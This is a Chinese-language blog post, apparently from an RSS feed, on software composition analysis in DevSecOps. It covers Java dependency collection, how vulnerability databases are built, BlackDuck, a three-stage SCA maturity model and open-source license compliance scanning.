其实这篇文章短短续续的写了很长时间了,由于不熟java,所以中间文章一度断了很久直至最近才陆陆续续把文章写完,其实思路大体上还是顺着几篇别人的文章来顺着,不得不说还是很佩服挖漏洞以及复现漏洞的几位朋友,中间好几个点我个人感觉思路都很神奇,算是学到了不少东西。
]]>今天我们主要聊聊白盒角度的SCA,SCA这个东西听名字好像很复杂,但是实际上把它聊的简单一点儿可以拆开两部分,一个是组件数据,另一个是漏洞数据,我们分开聊聊这两个部分。
其实组件数据对于现代的各种Web开发语言、框架啊没什么花头,每种语言都有自己的包管理工具。
甚至里面的大多数语言依赖关系获取相当简单,比如php的composer.json,node的package.json,仅仅解析静态文件就可以获取非常完整的依赖关系。其中可以说问题最大的无非就是java的maven和gradle了,倒也不是说pom.xml获取不到相应的依赖,而是说java本身的组件体系完整而普适度高。这直接导致了,java当中频繁的使用了依赖引用链,这种引用关系往往可能存在2-3层以上,而这种依赖关系仅从静态的pom.xml中是没办法获取的。
这个问题在我之间做java的sca时,困扰了我相当一段长的时间,主要是我对SAST的很大一个理念和现在主流的SAST工具不同,我认为纯静态对于SAST来说是一个相当重要的点,包括白盒的工具,我也是在力求纯静态的扫描,这点和CodeQL、Sonarqube都不同,反而是Checkmarx和我的思路比较接近。
但是可惜的是,没有经过编译运行的java代码,一个是不会下载相应的组件包,你没办法通过解包jar的方式获取数据。另一个问题是,除了maven公开源的包,很多公司都会自建自己的artifactory,这样一来即便你本地已经存了数据量高达几十T的公开源依赖关系,你在公司中使用,也会出现大量的公司内部包,这样一来效果非常差。
所以,关于这个依赖获取的东西,现在普遍都是使用动态获取的方式,其中陌陌安全公开的就是这类工具的一个典型。
https://github.com/momosecurity/mosec-maven-plugin
可以说,除了hook maven以外,可能大多数办法都不如一句简简单单的**mvn** dependency:tree
来的更直白。
其实抛开静态分析的角度,我们也可以把这个事情想的多元一点儿,前面的很多困扰都来自于静态的角度,我们总是在试图避免编译这个又浪费时间,又繁琐的步骤。但是换个角度去做,也许我们可以把脚本直接塞在CI/CD的流程中,甚至直接塞在Hids中,这种方案呢,在自动化程度比价高的公司非常好用,这本身也是DevSecOps中的一环。一个是避免代码库中的代码和实际运行的代码有差异(这个问题相当普遍),另一个是,这种方案本身对CI流程的干扰度也很低,因为编译本身就是流程的本身。
好了,现在我们有了组件数据这个东西,有很多人会好奇,他能干什么呢?这里我拿个最简单的例子来说,你们公司的Log4j2影响范围是怎么排查的呢?组件数据作为DevSecOps中的一环,是相对更底层的部分,你可以把它构建在白盒中,也可以把SCA相对独立,接入Hids以及更多来源的数据,这个数据本身就是意义,以后在聊到DevSecOps的时候,我可能会着重聊聊流程相关的东西,这里暂时先不提。
在我们有了足够的组件数据之后,我们要开始和安全结合了。其实漏洞数据库可以说是SCA的核心技术了,这本身是一个数据驱动的玩意。其实相对安全问题本身来说,合规可能是大多数SCA的主要目标,在国外,很多软件上市之前,都需要通过安全合规扫描,这个安全合规扫描一般来说是黑盒的,但是你很难估计到底有什么样的问题。
而国外最有名的SCA就是BlackDuck,是新思做的一个东西,他本身其实安全的成分非常低,如果使用的朋友应该都知道,blackduck的扫描结果一个项目就有上千条,其中大多数都是那种毛用没有的问题。但是他最牛的地方就是,国外的很多检测机构使用的就是blackduck,所以很多厂商呢,也没有办法,为了通过安全合规扫描,就必须采购blackduck,为了这个简单的检测,blackduck的授权价往往有1年几百万,可以说是相当不讲理了。
我们说回技术本身,实际上在安全圈内,每年爆出来的组件漏洞不能说很多,关键是大部分都是特殊配置,实打实正儿八经能用的,都是那种要不就是默认配置,要不就是常用配置,像log4j2这种级别的漏洞我估计每5年能出一次都是很厉害了,上一次出这类漏洞已经是很多年前的fastjson了。所以现在很多公司的自建安全SCA中,漏洞数据库都是自己构建的,漏洞数据由安全运营中心负责,一个是来自于安全情报,另外一个是来自于SRC收集或者黑盒扫描后的排查,可能这个漏洞数据库常年也就维护20、30个漏洞,反而是DevSecOps中补足不足的好办法。
当然,你也许会问,会不会有那种有安全公司维护的API,可以提供有效的安全漏洞数据,目前我自己写的Kunlun-M中也是用了类似的方案,其中有两个API比较好用,一个是google的,另一个是osindex的,大家可以自己了解一下。
在这个网站中,你可以通过api查询提供对应的组件版本,他就会返回这个版本的所有漏洞列表。
在之前的<DevSecOps 究竟需要怎样的白盒?>这篇文章中,我把SCA分成了3个阶段。
最早期的SCA主要构成是漏洞数据库,一般来说,SCA开发者会通过爬虫去爬取CVE等各种漏洞公示网站,其中最重要的是如何将漏洞关联到组件以及版本中。
这个阶段就是我们现在的大多数SCA阶段,一个是漏洞数据没有特别好的办法精细化,另外一个是,乙方公司的工具大多都需要应对更多场景,所以漏洞数据库不免就会大而全,使用起来效果就会非常差了。
第二阶段的SCA就是为解决第一阶段的问题而诞生的。一般来讲,如果仅靠对比版本,业务开发人员会在短时间内收到大量的漏洞报送,其中甚至会包括大量没有修复版本、更新成本高的组件。而这时候大多数的业务反馈都会是“我写的那个地方会有安全问题?我该怎么办?”。
而这时候,如果可以将漏洞数据库至少细化到某个类/函数级,将会大大提高漏洞的有效性,也能为无法通过版本更新修复的漏洞提供解决方案。
第三阶段的SCA,在第二阶段的基础上,将漏洞数据库进一步细化到代码片段级。一般意义上来说,这个级别的扫描主要解决的是大量项目中通过复制、二次开发的安全问题,而相应付出的代价可能是成几何级提高的数据库量以及扫描压力。
到这个阶段的投入是否值得可能还有待考量。
现在主流的SCA大部分还停留在第一阶段,部分商业的SCA开始逐步探索第二阶段、第三阶段,但真正将SCA完全自动化接入到DevSecOps流程中,我想还有很长的路要走(找10个“人工”智能审核 :>)。
其实Sca当中,有一个很重要的功能,就是开源License合规扫描。这个东西主要也是用在国外,国内用的比较。这个东西同样也是安全合规扫描中的一部分,大概就是会扫描你的软件中使用的所有开源组件,并扫描你的软件是否符合你使用的开源软件License要求。
如果你使用了不符合你的软件的开源组件,那么你就无法扫描通过,同样的,这也是BlackDuck的一个主要功能。
前段时间在小米就遇到过类似的需求,很可惜的是,我发现国内貌似没有类似的软件,虽然说由于Blackduck的垄断导致这类软件没有市场,但是这个license扫描本质上也是一个数据驱动的玩意,相比黑鸭子昂贵的成本,其实还是有很多空间可以做的。
其实说来说去,SCA本质上还是一个数据驱动的东西,从安全研究的角度来看可能说也就是可以帮助你快速了解一份源代码,但是对于甲方来说,SCA却是白盒联动DevSecOps很重要的一部分,不仅仅是出于安全合规,帮助白盒获取更多的数据联动,也是非常重要的组成。
]]>